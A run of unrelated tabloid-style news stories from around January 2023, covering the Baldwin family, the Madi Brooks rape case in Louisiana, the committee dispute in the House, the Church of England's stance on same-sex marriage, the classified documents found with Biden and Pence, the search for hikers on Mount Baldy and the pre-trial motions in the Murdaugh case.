She divorced from her sixth husband in 1965 after just two years with him.

The star died in the year 2000 in Florida after suffering from heart failure.

The 2017 documentary film Bombshell: The Hedy Lamarr story re-told the story of the film star's incredible life.
Fanta Limon is a popular Fanta variant available in Spain but not in the US

Baldwin, born in Boston, has often been criticized for claiming she's Spanish

Hilaria Baldwin, wife of actor Alec Baldwin, seems to have subtly addressed criticism she fakes her Spanish heritage by donning a 'Keep Calm and Fanta de Limon' t-shirt.

Born Hilary in Massachusetts, Baldwin, 37, wore the t-shirt as she was leaving her Manhattan apartment on Tuesday morning, days after being criticized for addressing the press in a Spanish accent.

She has a history of falsely claiming she is Spanish - a habit she apologized for two years ago. At around that time she shared a photo of herself wearing the same t-shirt, adding in a caption: 'When life gives you lemons'. The phrase 'When life gives you lemons, make lemonade' encourages optimism in the face of adversity.

Her outfit may also be a nod to the involuntary manslaughter charge set to be imposed on her husband after he accidently shot and killed cinematographer Halyna Hutchins on the set of the movie Rust in 2021.

Fanta Limon, known in English as Fanta Lemon, is a Fanta variant that was discontinued in the US in 2018 but has long been a big player in the Spanish soda market.

Hilaria Baldwin, 37, seems to have subtly addressed criticism that she dons a fake Spanish accent by wearing a 'Keep Calm and Fanta de Limon' shirt

Baldwin, 37, wore the t-shirt as she was leaving her Manhattan apartment on Tuesday morning

Her move comes after this weekend prosecutors explained that although her husband would be charged over Hutchins' death, he would not be charged for shooting the Rust director Joel Souza.

While filming their Western movie Rust on the outskirts of Santa Fe, Alec Baldwin accidentally shot both Hutchins and Souza with a single bullet.

Baldwin had been practicing drawing a revolver from his holster when a round was fired and pierced Souza's shoulder after traveling through Hutchins' chest.

The actor insisted during an interview with police that he had been told the gun was 'cold' when it was handed to him and, crucially, that he did not pull the trigger.

Baldwin has refuted an FBI report which claims he must have pulled the trigger for the gun to fire.

The Sante Fe District Attorney's office, which is similarly charging the armorer on set, Hannah Gutierrez-Reed, remained confident it could prosecute them both.

They are facing a maximum of 18 months in prison if convicted of involuntary manslaughter. If they're also convicted of a firearm enhancement on that charge, they'll face a mandatory five-year prison sentence.

Hilaria had worn the t-shirt before and included a caption saying: 'When life gives you lemons'

Fanta Limon is a popular Fanta variant available in Spain but not in the US

Hilaria approached photographers on Friday and told them in a Spanish accent: 'I'm going to tell you what I'm going to say, you're not going to ask me questions. I want you guys to realize we have seven kids, and you being here to escort them to school and to be there when they come home is not good.

'So, on a human level, you know that I'm not going to say anything to you. You know that. So please, leave my family in peace and let it play out.'

In February 2021 she apologized for faking her Spanish heritage, saying in an Instagram post that she 'should have been more clear' and that she had 'spent the last month listening, reflecting, and asking myself how I can learn and grow'.

She acknowledged that she had been born in Boston and went by the name Hillary, despite claiming for years that Mallorca was her birthplace and that she only arrived in the US at 19 to study.

Hilaria's parents, Dr Kathryn Hayward and David Thomas, pictured, are both Boston natives who worked in the US for years before retiring to Majorca in 2011

Hilaria's parents moved to Mallorca in 2011 when she was 28

'I came for school and I never, ever left,' she said once in an April 2020 interview. A tax form also surfaced in which it was clear Hilaria debated between using her birth name and the adopted Spanish version.

The document shows she crossed out both the first name and last name of the 2009 W-4 document before finally decided on Hillary L. Hayward-Thomas - the name she was born with - on her second attempt.

Records also show that Hilaria's parents, Dr Kathryn Hayward and David Thomas, were also both Massachusetts natives and had lived and worked in the US for years and only moved to Mallorca in 2011 when they retired.

Hayward is not Spanish and is in fact a fourth-generation Massachusetts resident who spent most of her career practicing medicine in Longmeadow, records show.

Hayward gave birth to Hillary in January 1984 in Boston.
An attorney for four men accused of raping a Louisiana State University student less than an hour before she was hit and killed by a car says he has video proof they did not assault the teenager.

Madison 'Madi' Brooks, 19, had been out drinking at Reggie's bar in East Baton Rouge, Louisiana, on January 14 when she was approached by the group.

A 17-year-old boy, who has not been identified, has been charged with third-degree rape, along with Kavion Washington, 18.

Washington's uncle, Everett Lee, 28, and his friend Casen Carver, 18, were also arrested and charged as accomplices to third-degree rape following the death of the student.

They claim that she was in a 'drunken state' but was able to consent and willingly got in the car with them before they dumped her at the side of the road.

Madi was then hit by a ride-share car at around 3am, close to where the men had left her, but the driver of the vehicle has not been arrested in connection with her death.

Madison 'Madi' Brooks, 19, had been out drinking at Reggie's bar in East Baton Rouge, Louisiana, on January 14 when she was approached by the group

Casen Carver, 18, (left) Kaivon Washington, 18, (center) and Everett Lee, 28, (right) were all arrested on rape-related charges together with an unnamed 17-year-old boy. Lee is the uncle of Washington

Legal documents seen by DailyMail.com reveal that Madi had 0.319g per cent of alcohol in her system  so high that toxicologists said she could have suffered from alcohol poisoning or loss of consciousness.

An autopsy also revealed that there were traces of THC, or cannabis, in her system at the time she died.

The Louisiana ATC has confirmed that they have suspended the license of Reggie's bar following the 'seriousness of the allegations and potential threat to public safety'.

In a statement, they confirmed that they were working with law enforcement and reference 'recent incidents' at the establishment - with a hearing to be set next month.

Police say that she was so drunk that she would not have been able to consent to the sexual activity, with Carver telling cops he 'hated' what his friends did to Madi because she was 'drunker' and 'impaired.'

Third-degree rape charges in Louisiana relate to a victim being unable to consent because they are under the influence of alcohol or drugs and the offender 'knew or should have known of the victim's incapacity'.

A lawyer representing all of the defendants claims that he has video proof that they are innocent, and that she willingly participated in the sexual activity.

He claimed that Madi was in a 'coherent state' and 'knew what was happening'  arguing that the footage would prove this.

Madi appeared to be a regular at the Tigerland bar, and posted several pictures of herself with friends at Reggie's

The group were seen leaving the bar at 1.49am, and the vehicle was last seen at 1.59am  with Carver telling police that the 17-year-old and Washington both had sex with the victim in the back seat of the car

Ron Haley told WAFB9: 'She wilfully got into the car, said that her rides had left her, and she got in.

'This is absolutely not a rape. Listen this is a tragedy, definitely not a crime.

'Can you tell that she was intoxicated? Yes. To the point under the law that you say you're in a drunken stupor, to the point that you cannot lawfully give consent or answer questions? Absolutely that was not the case.

'Based on a disagreement, she got out of the vehicle. She indicated she was getting an Uber.

'I want the public to know, these young men or really the driver of the vehicle and the young men that were in there, did not put her off on the side of the road.'

It is unclear if the footage has yet been handed over to the authorities, with Haley saying he would turn it over to investigators and the District Attorney's office.

Haley and East Baton Rouge Sheriff's office did not immediately respond to a request for comment by DailyMail.com.

Madi was dumped less than a ten-minute car journey from the bar before being hit by the ride-share car at 2:50am

Legal documents seen by DailyMail.com reveal that Madi had 0.319g per cent of alcohol in her system  so high that toxicologists said she could have suffered from alcohol poisoning or loss of consciousness

Carver said he felt 'uncomfortable' during the sex acts and he 'hated it', adding that he thought she was too drunk to consent

A spokeswoman for the DA's office could not confirm if the video was handed over to authorities.

Authorities also seized surveillance footage from the bar and nearby businesses which show Madi arriving at the bar at 10.06pm, with Carver, Lee, Washington and the teenage boy arriving at 10.18pm.

Officers say in their affidavit that at 1am Madi was seen sitting on a stool by the counter at the bar before stumbling, and got back to her feet with the help of the men.

At 1.34am she was seen sitting on a bench by the entrance door before falling again, with the teenager approaching her, removing her cap and helping her to get to her feet.

The group was seen leaving the bar at 1.49am, with the vehicle last seen at 1.59am. Carver told police that the 17-year-old and Washington both had sex with the victim in the back seat of the car.

Madi was dumped less than a ten-minute car journey from the bar before being hit by the ride-share car at 2:50am.

Her sorority wrote on Monday: 'Madi was a bubbly, loving, and selfless friend. She left an indelible mark on our chapter, we cherish our memories together and we will never forget her. Our forever friend was also a hero, Madi donated her heart and kidneys to save others'

Third-degree rape charges in Louisiana relate to a victim being unable to consent because they are under the influence of alcohol or drugs and the offender 'knew or should have known of the victim's incapacity'

Carver, who was driving the vehicle, told cops that he asked Madi where her friends were, but she said she did not know and appeared 'drunk'. Pictured: Madi, right, with her mom, Ashley, stepdad Scott and brothers Brady and Aiden

Carver, who was driving the vehicle, told cops that he asked Madi where her friends were, but she said she did not know and appeared 'drunk'.

He added that Madi gave 'verbal consent five times' to the 17-year-old before having sex with her in the rear of the car, with Washington exiting the vehicle before swapping with the teenager to also have sex with the victim.

During his police interview, Carver denied having ever seen Madi before or knowing her but agreed to give her a ride.

Carver said he felt 'uncomfortable' during the sex acts and he 'hated it', adding that he thought she was too drunk to consent.

Both Carver and Lee remained in the front of the car while the sex acts were being performed, with Carver telling them to 'stop' before dropping Madi off.

Police say that she was so drunk that she would not have been able to consent to the sexual activity, with Carver telling cops he 'hated' what his friends did to Madi because she was 'drunker' and 'impaired.'

The defendants say that she was in a 'drunken state' but was able to consent and willingly got in the car with them before they dumped her at the side of the road. Pictured: Madi with her two younger brothers

It is unclear if the footage has yet been handed over to the authorities, with Haley saying he would turn it over to investigators and the District Attorney's office

Lee refused to speak to police, while Washington denied that he witnessed the teenager have sex with Madi and denied that he had sex with her.

He told officers: 'When I tell you drunk, drunk, she was drunk' and requested an attorney when asked for an oral DNA swab.

The mother of the 17-year-old refused to allow her son to give a statement.

A post-mortem revealed that Madi had 'injuries consistent with previous sexual assault anally' as well as her injuries from the crash.

The fatal accident came was the second collision on Burbank Drive, raising questions about the safety of the area.

Ethel Wesly, 71, was killed in the same week, with locals arguing that there needs to be more lighting, sidewalks and a lower speed limit.

More lighting is also planned for the entrance to the Pelican Lakes subdivision on Burbank where Madi was killed.

LSU President William Tate released a statement on Monday in which he hoped some good might come from Madi's death.

Lee refused to speak to police, while Washington denied that he witnessed the teenager have sex with Madi and denied that he had sex with her. Pictured: Madi with her mother Ashley

Brooks' LSU sorority posted a moving tribute to their 'sister' on Instagram on Monday

Tate said in a statement: 'Madison was a daughter, a granddaughter, a sister, a niece, a classmate, and a friend to many of you. By all accounts, she was an amazing young woman with limitless potential.

'She should not have been taken from us in this way. What happened to her was evil, and our legal system will parcel out justice.

'Our collective grief and outrage cannot be put into mere words. So what can we do? It is time for action. One place to target our attention is the very place where this encounter began.

'All but one of the suspects involved in this horrific scenario were underage yet were able to consume alcohol at a local bar. As such, our action plan starts with a deep and relentless focus on any establishment that profits off our students by providing alcohol to underage individuals.

'In the coming days, we will call a meeting with these business owners to discuss how their responsibilities directly impact the safety of our students.

We will work openly against any business that doesn't join us in efforts toward creating a safer environment for our students. Enough is enough.'
A Republican congresswoman blasted House Speaker Kevin McCarthy's threats to boot three outspoken Democrats off committees on Tuesday.

Indiana Rep. Victoria Spartz dismissed the GOP leader's efforts as 'bread and circuses' and called on him to 'start governing for a change' in the searing statement.

McCarthy has vowed to remove Democrat Reps. Eric Swalwell and Adam Schiff of California from the House select committee on Intelligence, while threatening to remove progressive Minnesota Rep. Ilhan Omar off the Foreign Affairs Committee.

It's payback for Democrats voting to strip hard-right GOP Reps. Paul Gosar of Arizona and Marjorie Taylor Greene of George of their committee assignments in the last Congress.

'Two wrongs do not make a right,' Spartz said on Tuesday.

House Speaker Kevin McCarthy has vowed to boot three left-wing lawmakers off of key committees after Democrats voted in the last Congress to strip GOP Reps. Paul Gosar and Marjorie Taylor Greene of their assignments

Indiana conservative Rep. Victoria Spartz condemned McCarthy's threats on Tuesday

'Speaker Pelosi took unprecedented actions last Congress to remove Reps. Greene and Gosar from their committees without proper due process.'

She then accused McCarthy of doing the very same thing now.

'I spoke against it on the House floor two years ago, I will not support this charade again,' Spartz said.

'Speaker McCarthy needs to stop "bread and circuses" in Congress and start governing for a change.'

Meanwhile, Democrats have signaled that they're ready to call McCarthy's bluff.

On Sunday, Minority Leader Hakeem Jeffries wrote a letter to McCarthy formally renominating Swalwell and Schiff to the intelligence panel.

And on Monday, Omar wrote a letter to House Democrats' steering committee - which is responsible for allocating panel assignments - officially asking to once again serve on the Foreign Affairs Committee.

But Democrats are fighting back - Rep. Ilhan Omar (left) wrote a letter formally asking to be reappointed to the Foreign Affairs Committee, while Minority Leader Hakeem Jeffries called for Reps. Adam Schiff (center) and Eric Swalwell (right) to once again serve on the House Intelligence Committee

But despite McCarthy's repeated promises to keep all three off of their committees, he may run into trouble booting at least one of them.

McCarthy has unilateral power to keep or remove nominees from Intelligence due to its status as a select committee.

In Omar's case, however, removal would require a full House vote - and McCarthy can only afford to lose the support of four members with his razor-thin Republican majority.

Republican Rep. Nancy Mace of South Carolina indicated that she will also likely oppose Omar's removal if it comes to a House vote.

'I'm going to treat everybody equally,' she told CNN. 'I want to be consistent on it.'
A rare Indigenous Canadian jacket believed to be more than 170 years old has turned up at a vintage clothing warehouse in the UK.

The brown fringe jacket arrived at the Glass Onion vintage warehouse in Barnsley, South Yorkshire, after it was brought to Britain from a clothing bale in America.

It is believed that the jacket was made in the 1850s by someone in one of the Metis or Cree indigenous nations in western Canada.

Alice Leadbetter, 27, the shop's head of marketing, said the item of clothing is in 'great condition' and 'instantly stood out' to her as soon as she saw it.

The store will not put the rare historic item on sale as it wants to reunite the jacket with the community that made it.

This rare Indigenous Canadian jacket believed to be more than 170 years old has turned up at a vintage clothing warehouse in the UK

Alice said: 'The jacket was amongst hundreds of others that came in the bales, but thankfully our team are experts in vintage clothing and instantly knew this one was special.

'We've been in the vintage business for over 15 years, and we have never seen a jacket quite like this one.

'The super soft leather, incredible beadwork, and attention to detail in the design were what instantly stood out as soon as we saw it.

'Next to the other 60s and 70s fringe jackets, it was obvious that this one was extra special and had an amazing story to tell.'

Alice is currently investigating where the jacket is from and has said she is 'determined to discover its story.'

The Glass Onion vintage warehouse in Barnsley, South Yorkshire, will not put the jacket up for sale and intends to return the jacket to the community that made it

It is believed that the jacket was made in the 1850s by someone in one of the Metis or Cree indigenous nations in western Canada

She said: 'A lot of hours have gone into researching the jacket's possible origins, but I've been determined to discover its story.

'The jacket is yet to be assessed by a professional in person, but thanks to the help of the TikTok community and experts all over the world, we think we think we've been able to narrow it down.

'Certain design elements (such as the olive-green chain stitch on the pockets) indicate it was likely made around the 1850s, possibly by an artist for a family member or a fur trader.

'The consensus is that it it's likely Metis or Cree from Western Canada (Manitoba, Saskatchewan or Alberta).

'We've recently found out that the fringe tassels are wrapped in dyed porcupine-quills too which is pretty crazy.

The jacket is thought to have been made in Western Canada in the mid-19th century

'The research is still ongoing but I'm constantly discovering something new about this incredible piece so feels like we're one step closer every week to uncovering its history.'

She has also said she would love to reunite the jacket with its community and has said that if anyone has any information about it, they should contact Glass Onion.

Alice, of Ormskirk, Lancs,. said: 'I'm trying not to rush anything and make sure I'm doing everything in the right and respectful way.

'It would be amazing to get confirmation of where the jacket is from and who made it so we can look at reuniting the piece with its community.

'It feels like we're not far away now.'
MPs today hit out at the Church of England for not allowing same-sex couples to marry in its churches.

The Church was accused of 'cruelty', 'hypocrisy', 'discrimination' and of treating gay people as 'second-class citizens' during exchanges in the House of Commons.

It was also questioned how 'meaningful' a recent apology by the Church to LGBTQI+ people would be, if it maintained its stance on same-sex marriage.

The issue was raised in an urgent question in the Commons this afternoon after the Church last week said it would bless same-sex civil marriages for the first time.

The Bishops of the Church of England have also written an letter formally apologising for the 'shameful' times LGBTQI+ people have been 'rejected or excluded'.

But there has been anger at the Church's refusal to change its position on gay marriage, with same-sex couples still unable to marry in its churches.

Justin Welby, the Archbishop of Canterbury, tonight defended the Church's decision to allow the blessing of same-sex partnerships as a 'huge step'.

He admitted the Church was 'deeply divided' on the issue and revealed he had received 'flak' from opponents of the 'controversial' decision to allow blessings.

Justin Welby, the Archbishop of Canterbury, defended the Church's decision to allow the blessing of same-sex partnerships as a 'huge step'

The Archbishop last night spoke to protesters who had gathered outside his official London residence of Lambeth Palace asking for same-sex couples to be allowed to marry in church

Tory MP Peter Gibson hit out at a 'two-tier system which labels gay people as second-class citizens', while Labour's Wes Streeting said it was a 'tragedy' that many gay Anglicans choose not to go to church

In the Commons this afternoon, Labour former minister Ben Bradshaw asked how 'sustainable' it would be when 'gay Anglicans in Scotland, and soon in Wales, may marry in church but our constituents in England may not?'.

'How meaningful is an apology for historic homophobia and discrimination when that discrimination continues?,' he added.

Fellow Labour backbencher Sir Chris Bryant, a former Anglican priest who has previously spoken of leaving the Church over its stance on homosexuality, told MPs: 'I think theres still a cruelty in what the bishops have brought forward.

'Theres a sort of hypocrisy. I know theyre trying to square everything off. But in the end theres a hypocrisy that will bless the individuals and not the relationship.'

Wes Streeting, Labour's shadow health secretary but who spoke from the Commons backbenches today, said: 'I made the choice that I think many young gay Anglicans did of choosing to be myself and choosing not to go to church. And that is such a tragedy for so many.'

Tory MP Peter Gibson welcomed the 'movement towards blessings' but added: 'Is it not time that the Church of England celebrated every relationship and ended this two-tier system which labels gay people as second-class citizens?'

Fellow Conservative backbencher Sir Desmond Swayne admitted recent developments were 'typical Church of England fudge'.

'But all the more welcome for that, because there are other fish that have to be fried,' he added.

DUP MP Jim Shannon said the Church's approach to marriage was 'entirely for them and not for the legislators in this place'.

Andrew Selous, who represents the Church in the Commons as the Second Church Estates Commissioner, suggested the Church had 'almost managed to upset absolutely everyone'.

'These proposals clearly do not go far enough for some,' he said. 'And actually I would just ask the House to understand there are some who are deeply grieving and troubled because they believe theyve gone too far.'

In an interview with Sky News tonight, the Archbishop of Canterbury said the decision to allow the blessing of same-sex partnerships had been 'controversial'.

He also confirmed he will not personally carry blessings out due to his 'pastoral responsibility for the whole communion'.

'First, we have made a huge step, which is to say that if someone is married in a civil marriage, equal marriage, someone of their own gender, same sex marriage, that they can come to church and have that marriage recognised and thanked for and dedicate themselves to God and seek Gods blessing in their lives,' he said.

'And thats something that weve never done before and its controversial. Im getting equal amount of flak from the other side about having compromised traditional Christian standards.'

The Archbishop last night spoke to protesters who had gathered outside his official London residence of Lambeth Palace asking for same-sex couples to be allowed to marry in church.
Several watchdog groups are calling for Joe Biden's records from his Senate years to be searched for classified documents after another tranche of material was found at his Wilmington, Delaware, home.

There are also calls to search his Rehoboth, Delaware, beach home. Biden's personal attorneys searched the home but said no classified material is there.

The University of Delaware houses 1,875 boxes and over 400 gigabytes of digital records from Biden's 36-year Senate career. He deposited his records there at the end of his service.

Several watchdog groups are calling for Joe Biden's records from his Senate years - which are housed at the University of Pennsylvania - to be searched for classified documents; above Biden with granddaughter Natalie Biden on the University of Pennsylvania campus

Then-Vice President Biden gives the commencement address at the University of Pennsylvania's 257th Commencement in May 2013

The National Legal and Policy Center is calling on Special Counsel Robert Hur to go through that material as part of his investigation and to search the Bidens' Rehoboth home.

'The FBI needs to search the entire 14,000 square foot Penn Biden Center where classified documents were found by his private attorneys searching only Biden's private office,' said NLPC Counsel, Paul Kamenar.

'The FBI also needs to search Biden's Senate records stored at the University of Delaware as well as his beach home,' he said.

Other groups are also calling for similar searches. While in the Senate, Biden served on the Senate Foreign Relations Committee and had access to classified material. Classified documents related to that time period were found in his Wilmington home.

'With the number of discoveries of new locations containing classified documents seeming to rise every day, it's possible that classified material could be found in nearly every place Joe Biden slept, worked, or stored his personal belongings,' Michael Chamberlain, director of Protect the Public's Trust, told the Washington Examiner.

'The fact that the FBI search of Biden's home last week uncovered more documents than originally known make it critical that the Biden Center at the University of Delaware be searched,' Pete McGinnis, spokesman for the Functional Government Initiative, said.

The White House said they are cooperating with the Justice Department on the investigation.

'We are fully cooperating with DOJ, working with them throughout their investigative steps here and coordinating with them on any needs going forward. So, in terms of the searches, potential searches, things like that, Im not going to get ahead of any decisions that are made. But, you know, were fully cooperating with DOJ,' White House spokesman Ian Sams said on Monday.

Additionally on Tuesday it was revealed that a dozen classified documents were found at former Vice President Mike Pence's Indiana home, raising questions about the process of packing up high-ranking government officials after they leave office.

Classified material has now been discovered in the possession of Pence, Biden and former President Donald Trump.

Republican Rep. Michael Waltz told Fox News that the transition process 'is broken.'

'But I think the difference with Biden here is just how long this goes back,' he added.

And Republican Senator Lindsey Graham told Fox that 'when it's all said and done maybe we are overclassifying things - that may be part of the problem. But count me in for getting this fixed.'

Biden's home in Wilmington, Delaware

Both Biden and Trump are being investigated by a special counsel.

In total, there have been five discoveries of classified material in Biden's possession: at the Penn-Biden Center, a think tank in Washington, D.C.; in Biden's garage at his Wilmington home; one document discovered in his 'personal library' in the same home; four more documents found in his home; and then another six found when the Justice Department did another search of the Wilmington residence.

As for Trump, the National Archives had repeatedly requested material from the former president who took boxes of paperwork with him when he left the White House.

All presidents turn over documents to the federal government at the end of their tenure. Trump eventually handed over 15 boxes. The archives found classified material in them and, suspecting he hadn't handed everything over, turned to the Justice Department, which got a federal warrant to search his Mar-a-Lago property.

Ultimately, he was found to have hundreds of documents with classified information in his possession.

Biden turned over his documents when his lawyers found them and voluntarily gave the FBI access to his Wilmington, Delaware, home, to search for more. Those agents found six more classified documents on Friday after a 13-hour search.
Actor Julian Sands disappeared in the same area on January 13

Police are searching for a second hiker who went missing on Mount Baldy where actor Julian Sands was last seen.

Jin Chung, 75, disappeared in the Southern California mountain range on Sunday, less than two weeks after Sands. Police have been unable to locate the actor despite deploying helicopters and drones around the area.

Chung took a solo hike on one of the rigorous trails at 6am and failed to meet his carpool buddies back at the car at 2pm.

Officers previously warned hikers to stay away from the snow-infiltrated mountain due to its 'extremely dangerous' conditions.

A search party sought Chung overnight on Monday 'with negative results.'

Jin Chung, 75, went missing on after going on a solo hike on Sunday. A picture of Chung wasn't immediately available. The map shows the extensive trail of Mt. Baldy

Chung arrived at Mount Baldy with friends but failed to return to the car at 2pm

The hunt for Chung will continue leading into Tuesday if the high wind threat lessens.

Police said Chung arrived at Mount Baldy with two others before parting ways on Sunday.

The group agreed to go their separate ways and meet back at the car by 2pm. Chung failed to return or communicate with the others.

The search for Chung allows for police a second chance to check the premises on foot for Sands whose cell phone last pinged at the mountain.

Julian Sands went missing while hiking on Mount Baldy on January 13.

The search for Chung allows for police a second chance to check the premises on foot for Sands (above) whose cell phone last pinged at the mountain. He is pictured sitting on a peak of the Weisshorn mountain in the Swiss Alps

Over the weekend, police failed to locate the actor while using infrared devices.

Federal and state agencies in the United States joined the search amid worsening weather conditions and avalanche risks which have previously stopped the work of ground crews.

The father-of-three, who is known for appearances in The Killing Fields, Arachnophobia, 24 and Smallville, was reported missing at around 7:30pm on January 13 after failing to come back from a hike on Mount Baldy.

The county sheriff's department revealed that pings from the actor's phone appeared to show he had been on the move heading further into the mountainous area of Baldy Bowl on the day he was reported missing

Police also retrieved important phone data, showing that the West Yorkshire-born actor was still on the move on Sunday 15 January  but they have not been able to pick up any signal since due to his battery running low.

San Bernardino County Sheriff's Department previously warned hikers to 'think twice and heed warnings' as weather conditions in the area worsened.

Sands and Helena Bonham Carter on set for the award-winning 1985 film A Room With A View

The department reported its search and rescue teams had responded to 14 calls on and around Mount Baldy over the last four weeks.

Two hikers were reported to have died in the last four weeks amid worsening conditions.

Crystal Paula Gonzalez, a mother-of-four described as 'the dancing hiking queen', is understood to have slipped and plunged 700ft down the Baldy Bowl.

A helicopter was immediately dispatched, and soon found Gonzalez 'down on a steep and icy hillside, surrounded by numerous helpful hikers assisting in any way they could,' according to an incident report.

On 28 December, Jarret Choi, 43, was hiking the Ice House Canyon trail when he fell near the Ice House Saddle ridge line.

He was found two days later, after a search hampered by extreme weather conditions.
Lawyers for disgraced legal scion Alex Murdaugh are seeking to bar the testimony of an expert witness who claims he was standing near his wife and son when they were brutally murdered.

Tom Bevel is set to testify that blood stains on Murdaugh's t-shirt taken into evidence by agents from the South Carolina Law Enforcement Division on the night of his wife's and son's murders show he was clearly in close proximity to them when they were killed.

But lawyers for the once-powerful South Carolina attorney question Bevel's findings, saying the evidence is 'unreliable.'

The 54-year-old is accused of killing his wife, Maggie, 52, and son, Paul Murdaugh, 22, 'execution style' in June 2021. He has pleaded not guilty.

Murdaugh bit his pen as he sat for the second day of jury selection on Tuesday

Alex Murdaugh, 54, smiled as he was seen arriving in court Tuesday morning

Alex Murdaugh arrives to court Tuesday for second day of jury selection in double murder trial. Live coverage: https://t.co/pH4O8XL8uQ #Murdaughtrial pic.twitter.com/2YvMcGjR4i  WJCL News (@WJCLNews) January 24, 2023

Ahead of a second-day of jury selection, Murdaugh's lawyers filed a slew of motions asking a judge to limit or preclude the introduction of testimony and expert opinions on blood splatter and firearms identification evidence.

They also filed another motion early Tuesday seeking to limit the prosecution's arguments that he killed his wife and son to cover up financial crimes, claiming a judge never ruled on whether he stole money from his law firm.

Among the motions filed by Murdaugh's lawyer ahead of his weeks-long trial was one calling into question Bevel's findings. He is a retired commander of the Oklahoma City Police Department who is now president of a forensic education and consulting company.

The disgraced former attorney is facing a total of 98 criminal charges - four related to the double murders and others for a botched suicide for hire plot

The defense attorneys argue in court documents obtained by WCNC that 'Bevel's methodology in reaching his conclusions, and the substance of those conclusions are not reliable.

'Moreover, Bevel's blood splatter opinion testimony directly contradicts the state's scientific forensic serology and DNA testing, which failed to detect human blood anywhere on Murdaugh's shirt and failed to detect Paul's DNA.'

Defense attorneys, Jim Griffin and Dick Harpootlian, had previously argued that any blood on the shirt was transferred when Murdaugh found the bodies and 'frantically checked them for signs of life.'

Murdaugh's attorneys accused SLED of 'badgering' Bevel into changing his report.

The T-shirt was later destroyed 'for purposes of forensics testing by the unnecessary application of an oxidizing chemical stain,' the court filing states.

A second motion also seeks to exclude blood splatter testimony of Orangeburg County Deputy Chief Kenneth Kinsey, a former SLED agent and a forensics expert, who defense attorneys say based his testimony off Bevel's findings.

And a third motion seeks to limit or preclude firearm ballistic testimony by forensic expert Paul Greer, calling into question his methodology.

But Circuit Court Judge Clifton Newman found on Tuesday that the evidence Greer will present 'will assist the jury in its decision.'

He said the underlying science is reliable, and defense attorneys could bring up their questions about the value of ballistics testing in cross-examination.

Murdaugh could be seen grinning as the second day of jury selection got underway

Murdaugh's legal team had filed motions to exclude testimonies from forensic experts

Circuit court judge Clifton Newman is pictured explaining disqualifying criteria to potential jurors as jury selection continued

Murdaugh is charged with two counts of homicide for the double murder, but prosecutors have decided not to seek the death penalty against him.

Instead they will ask for life without parole if he is convicted of murder  with the minimum sentence carrying a 30-year stint behind bars.

Prosecutors say Murdaugh lured his wife and son to their 1,700-acre hunting lodge and shot them dead.

The court also claims that his life was spiraling out of control amid years of opioid addiction and ballooning debts.

Murdaugh pleaded not guilty in June, and the blockbuster trial is expected to have wild allegations of dark family secrets, financial ruin and hedonistic excess.

Among those expected to testify against the legal scion are Murdaugh's own brothers, John Marvin and Randy Murdaugh, as well as his surviving son Buster.

Murdaugh allegedly called John Marvin the night of the murders, and used that call as part of his alibi.

Curtis Smith, who is accused of helping Murdaugh in a twisted assisted suicide scheme is also expected to take the stand, as well as members of his wife's family.

In total, over 220 people could testify against Murdaugh in the trial, it was revealed Tuesday.

Alex Murdaugh (center) is accused of killing his wife Maggie, 52, (right) and son Paul Murdaugh, 22, (left) in 2021

But before the real-life legal drama can unfold, Murdaugh was forced to sit through a second day of jury selection on Tuesday.

He was seen smiling as he arrived in court Tuesday for the second day of jury selection.

Video posted online showed the once-powerful South Carolina attorney being escorted out of a black police van in front of the Colleton County Courthouse Tuesday morning, nodding to the press at the scene.

But the once-powerful lawyer seemed more anxious as the hearings went on, visibly chewing on the end of a pen.

The 12-member jury will hear all of the evidence presented against the once-prominent lawyer, after authorities took over a year investigating the mysterious deaths to charge Murdaugh in connection with the crimes.

More than 900 potential jurors were sent detailed questionnaires to determine if they were eligible to sit for this case.

When asked if they had heard of the case, all potential jurors confirmed that they had, with several being excused because they had 'form opinions which cannot be changed'.

The remaining potential jurors will be questioned on Wednesday, with the trial expected to begin as early as Wednesday afternoon.

Murdaugh was led into the courtroom in handcuffs hidden under his jacket Tuesday

A crime scene photo showing what appears to be blood droplets on the floor, a mannequin and an evidence marker in the feed room where Paul was fatally shot

Several views of the crime scene where Paul had been shot were in the court filings

The 22-year-old was shot in the feed room connected to the Moselle properties dog kennels, while his mother was shot five times, including in the back of the head, with a semiautomatic rifle  the pair dying just 30 yards from one another

Last week prosecutors claimed that a Snapchat video was critical to the case, with Paul sending the footage shortly before 8pm on the night he died.

Investigators believe he and his mother died between 9pm and 9:30pm, and are seeking permission to call a Snapchat executive to testify as to the veracity of the video.

Creighton Waters, senior assistant deputy attorney general said: 'Amongst other things, critical to the case is a video sent out to several friends at approximately 7:56p.m. on the night of the murders.

'The contents of this video is important to proving the State's case in chief.'

The order was approved, with prosecutors not revealing what was in the Snapchat video during the hearing.

Murdaugh, right, pleaded not guilty to the murders of Maggie, second from left, and Paul, second from right, in June  but now his surviving son, Buster, left, is expected to testify against him

The court filing also had a close up of the blood spatter where Paul was shot twice - once in the chest and a second time which entered his left shoulder into his neck and brain

The move came as Kinsey described Paul's horrific wounds, explaining he was shot twice  with a second bullet entering the left shoulder into his neck and brain.

Kinsey said his 'brain was completely detached from head, adding that the 22-year-old was first struck in the chest as he stood in the feed room.

The room was connected to the Moselle properties dog kennels, while his mother was shot five times, including in the back of the head, with a semiautomatic rifle.
About a dozen classified documents have been found in former Vice President Mike Pence's Indiana home - despite his repeated denials that he had such information.

Pence's lawyer discovered the material when conducting a search at Pence's request last week. The boxes was immediately turned over to the FBI and the Justice Department is investigating.

It is the third time classified documents have been found on the private property of a recent president or vice president and comes as special counsels are investigating Joe Biden and Donald Trump over similar incidents.

The bombshell discovery was revealed as President Biden's own crisis is escalating with more and more classified material found in his possession. Republicans have heavily criticized Biden for having the documents and the House Oversight committee has launched an investigation.

About a dozen classified documents were found in Mike Pence's Indiana home

Pence's lawyer, Greg Jacob, said in his letter to the National Archives, that the former vice president had 'engaged outside counsel, with experience in handling classified documents' to review records stored at his home on Jan. 16 'out of an abundance of caution' amid the uproar over the discovery of documents at Biden's home.

FBI agents visited Pence's residence the night of Jan. 19 at 9:30 p.m. to collect the documents that had been secured. The vice president was in Washington, DC for an event, at the time.

A total of four boxes containing copies of administration papers - two in which 'a small number' of papers bearing classified markings were found, and two containing 'courtesy copies of vice presidential papers'  were discovered, according to the letter. Arrangements were made to deliver those boxes to the National Archives on Monday.

Former President Donald Trump rants on his social media platform that his former Vice President is 'an innocent man...leave him alone!'

Republican Congressman James Comer of Kentucky and chair of the House Oversight Committee, said Pence reached out to offer his cooperation with the congressional panel.

'Former Vice President Pence's transparency stands in stark contrast to Biden White House staff who continue to withhold information from Congress and the American people,' he said in a statement.

